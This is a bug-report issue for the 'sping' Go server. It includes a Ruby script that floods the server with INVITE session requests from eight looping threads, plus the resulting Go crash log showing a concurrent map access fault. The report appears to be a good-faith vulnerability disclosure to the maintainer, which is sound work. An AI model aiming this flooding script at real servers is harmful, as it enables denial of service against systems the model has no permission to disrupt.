Crash with many new sessions
marek22k opened this issue · comments
Marek Küthe commented
Hello,
If an attacker requests a large number of new sessions, the server crashes after quite a lot of memory has been requested.
Attack script:
require 'socket'
vhost = "127.0.0.1"
vport = 6924
class TCPHandshakeError < StandardError; end
threads = []
8.times do
threads << Thread.new(vhost, vport) do |vhost, vport|
loop do
begin
socket = TCPSocket.new vhost, vport
banner = socket.readpartial 9001
if banner.length > 9000
socket.close
raise TCPHandshakeError, 'Host banner too big'
end
if ! banner.start_with? 'sping-0.3-'
socket.close
raise TCPHandshakeError, 'Host banner not sping'
end
socket.write "INVITE\r\n"
socket.flush
inviteBuf = socket.readpartial 32
if inviteBuf.length > 31 || inviteBuf.length.zero?
socket.close
raise TCPHandshakeError, 'Invite banner wrong size'
end
session_id = inviteBuf.chomp.to_i
puts "We got a new session id #{session_id}."
socket.close
rescue TCPHandshakeError => e
warn "Error: #{e.message}"
end
end
end
end
threads.each &:join
Log (excerpt):
$./sping
2023/11/07 11:17:00 Listening on[::]:9523
fatal error: concurrent map read and map write
goroutine 224642 [running]:
main.handleTCPconnection({0x949400?, 0xc00011bca0})
/home/marek/sping/sessionhandle.go:195 +0x356
created by main.listenOnTCP
/home/marek/sping/sessionhandle.go:154 +0x125
goroutine 1 [sleep]:
time.Sleep(0x3b9a5c5f)
/usr/lib/go-1.19/src/runtime/time.go:195 +0x135
main.main()
/home/marek/sping/main.go:63 +0x29b
goroutine 7 [IO wait]:
internal/poll.runtime_pollWait(0x7f0d6638a598, 0x72)
/usr/lib/go-1.19/src/runtime/netpoll.go:305 +0x89
internal/poll.(*pollDesc).wait(0xc0002a0000?, 0x6?, 0x0)
/usr/lib/go-1.19/src/internal/poll/fd_poll_runtime.go:84 +0x32
internal/poll.(*pollDesc).waitRead(...)
/usr/lib/go-1.19/src/internal/poll/fd_poll_runtime.go:89
internal/poll.(*FD).Accept(0xc0002a0000)
/usr/lib/go-1.19/src/internal/poll/fd_unix.go:614 +0x234
net.(*netFD).accept(0xc0002a0000)
/usr/lib/go-1.19/src/net/fd_unix.go:172 +0x35
net.(*TCPListener).accept(0xc0002a4000)
/usr/lib/go-1.19/src/net/tcpsock_posix.go:142 +0x28
net.(*TCPListener).Accept(0xc0002a4000)
/usr/lib/go-1.19/src/net/tcpsock.go:288 +0x3d
main.listenOnTCP()
/home/marek/sping/sessionhandle.go:149 +0x99
created by main.main
/home/marek/sping/main.go:36 +0x191
goroutine 8 [IO wait]:
internal/poll.runtime_pollWait(0x7f0d6638a688, 0x72)
/usr/lib/go-1.19/src/runtime/netpoll.go:305 +0x89
internal/poll.(*pollDesc).wait(0xc00020a000?, 0xc000210000?, 0x0)
/usr/lib/go-1.19/src/internal/poll/fd_poll_runtime.go:84 +0x32
internal/poll.(*pollDesc).waitRead(...)
/usr/lib/go-1.19/src/internal/poll/fd_poll_runtime.go:89
internal/poll.(*FD).ReadFromInet6(0xc00020a000, {0xc000210000, 0x2710, 0x2710}, 0x7f0d68717fff?)
/usr/lib/go-1.19/src/internal/poll/fd_unix.go:277 +0x1e5
net.(*netFD).readFromInet6(0xc00020a000, {0xc000210000?, 0x0?, 0x0?}, 0x1?)
/usr/lib/go-1.19/src/net/fd_posix.go:72 +0x29
net.(*UDPConn).readFrom(0xc000066800?, {0xc000210000?, 0x0?, 0x1010000000003?}, 0xc0002040c0)
/usr/lib/go-1.19/src/net/udpsock_posix.go:59 +0x85
net.(*UDPConn).readFromUDP(0xc00020e000, {0xc000210000?, 0x44ed52?, 0x2710?}, 0x809480?)
/usr/lib/go-1.19/src/net/udpsock.go:149 +0x31
net.(*UDPConn).ReadFrom(0x891d58?, {0xc000210000, 0x2710, 0x2710})
/usr/lib/go-1.19/src/net/udpsock.go:158 +0x50
main.listenAndRoute()
/home/marek/sping/main.go:230 +0x10a
created by main.main
/home/marek/sping/main.go:37 +0x19d
goroutine 9 [sleep]:
time.Sleep(0xdf8475800)
/usr/lib/go-1.19/src/runtime/time.go:195 +0x135
main.sessionGC()
/home/marek/sping/main.go:121 +0x45
created by main.main
/home/marek/sping/main.go:50 +0x1e6
[...]
goroutine 224643 [select]:
main.(*session).waitForHandshake(0xc037400000)
/home/marek/sping/sessionhandle.go:205 +0xc5
created by main.handleTCPconnection
/home/marek/sping/sessionhandle.go:195 +0x39b
goroutine 224627 [runnable]:
main.handleTCPconnection.func2()
/home/marek/sping/sessionhandle.go:195
runtime.goexit()
/usr/lib/go-1.19/src/runtime/asm_amd64.s:1594 +0x1
created by main.handleTCPconnection
/home/marek/sping/sessionhandle.go:195 +0x39b
goroutine 224645 [runnable]:
main.handleTCPconnection.func2()
/home/marek/sping/sessionhandle.go:195
runtime.goexit()
/usr/lib/go-1.19/src/runtime/asm_amd64.s:1594 +0x1
created by main.handleTCPconnection
/home/marek/sping/sessionhandle.go:195 +0x39b
Full Log:
sping.txt
In my test, the Go server withstood the attack for about 20 seconds.